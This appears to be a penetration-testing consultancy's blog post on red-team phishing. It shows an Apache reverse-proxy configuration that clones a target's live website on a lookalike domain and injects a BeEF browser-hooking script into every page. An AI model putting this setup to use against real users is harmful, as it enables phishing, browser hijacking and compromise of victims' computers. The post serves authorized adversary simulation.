Those of you that have been following the UK infosec market recently will have noticed an upturn in talk relating to “Red Team” style engagements. Unlike a traditional penetration test, the object of such an exercise is not to locate vulnerabilities (though of course that helps) but rather to exercise the “Blue Team” i.e. the internal users at an organisation responsible for defending their network. This change has been driven by CBEST and the associated STAR exam offerings from CREST, which have certainly raised the bar. Whilst most IT security consultancies are happy to talk about phishing, the level to which they go to mimic the target can vary.
Historically, the Portcullis offering has, whilst bespoke been more about gathering statistics as to how many victims clicked a given link than much else. With this in mind, over the last 12 months, I’ve set about developing our service in a more agressive direction. One particular idea I’ve wanted to deliver for a while is to integrate BeEF into our offering. As an aside, for those of you that don’t know of BeEF, it allows you to hook web site vistors and turn them into drones. This allows for longer term exploitation of their browsers including fingerprinting and even RCE enabling OS level access to their PCs.
As I’ve already stated, Portcullis offer a bespoke phishing service where we tailor the web site and email to the particulars of our client. For a start we will perform reconnaissance to locate a suitable legitimate web site to mimic and secondly we will work with our client to ensure that our emails aren’t caught by any anti-phishing technology they may be using (often the first point of failure when phishing a mature organisation). Typically, we will then mimic our chosen site on a similar looking domain before sending emails to our victims. Historically, we’ve statically cloned the legitimate site (or at least the portions we need) before tweaking them to add our hooks, however on a recent project, I took the opportunity to improve this. The reasons for the change were many and varied but essentially came down to the fact that a statically cloned site will never look as good as the real thing, notably with respect to the expected functionality a victim might expect to see, but also because the tweaks we will then have to make are quite time consuming. The aim of my improvements were therefore two-fold:
- Allow dynamic web sites to be cloned
- Integrate BeEF
Whilst I’ve previously looked, I’ve not found any information elsewhere that discusses how to do this in detail, so I decided to use Apache web server, mod_proxy and mod_substitute (tools I’m already familiar with). The remainder of this post discussed the approach I took.
Consider the following configuration:
ServerName HOSTNAME.DOMAINNAME
DocumentRoot /var/www/HOSTNAME.DOMAINNAME
...
ProxyPass /pcslhook.js !
ProxyPass /pcslendpoint.php !
ProxyPass /hook.js http://localhost:3000/hook.js
ProxyPassReverse /hook.js http://localhost:3000/hook.js
ProxyPass /dh http://localhost:3000/dh
ProxyPassReverse /dh http://localhost:3000/dh
ProxyPass /ui http://localhost:3000/ui
ProxyPassReverse /ui http://localhost:3000/ui
ProxyPass / http://PLEASECOMPLETEME/
ProxyPassReverse / http://PLEASECOMPLETEME/
AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/html
AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/javascript
Substitute "s#<head>#<head><script type="text/javascript" src="\"/pcslhook.js\""></script><script type="text/javascript">load();</script><script type="text/javascript" src="\"/hook.js\""></script>#ni"
Substitute "s#:3000##ni"
Substitute "s#\"3000\"#\"80\"#ni"
Substitute "s#@PLEASECOMPLETEME#@PLEASECOMPLETEME#ni"
We start off by defining the ServerName on line 2. This will typically be based on the domain name that we control e.g. if the organisation we are targeting is example.org, we might register example.com. We then configure the real web site on lines 12 and 13. Any request for example.com will therefore be rewritten and proxied by our web server instance to example.org. This means that, for example that if a victim performs a search on our web site, then requests for http://example.com/search?query=test will be relayed to http://example.org/search?query=test and the victim will get identical results to those they would have received on the legitimate web site. Finally, we inject BeEF on line 16. I’ve found that the best approach is to pick a unique snippet of HTML (one that appears only once in each page) and use this as the anchor for my substitution.
Whilst this forms the basis of our subterfuge, what of the other lines in our example configuration?
- We use ProxyPass … ! when we want to process requests from our own web root (/var/www/HOSTNAME.DOMAINNAME)
- We use ProxyPass … http://localhost:3000/… to proxy requests through to BeEF
- We apply an output filter on all HTML and JavaScript returned by the real web site to allow for the substitutions
- We substitute out 3000 towards the end, as from an external perspective BeEF is on the same port as everything else
- We substitute out the legitimate domain in any email addresses the real web site may return
It should be noted, that a similar approach can be taken to pass requests through to Metasploit and other exploitation frameworks.
This concludes our brief example. If you enjoyed it, feel free to borrow and if you think you or your users might be susceptible, please feel free to give us a call.
PS /pcslhook.js and /pcslendpoint.php are our secret sauce, not that we ever call them that.
PPS You should probably use Location “/ui” to limit who can access the BeEF administration panel.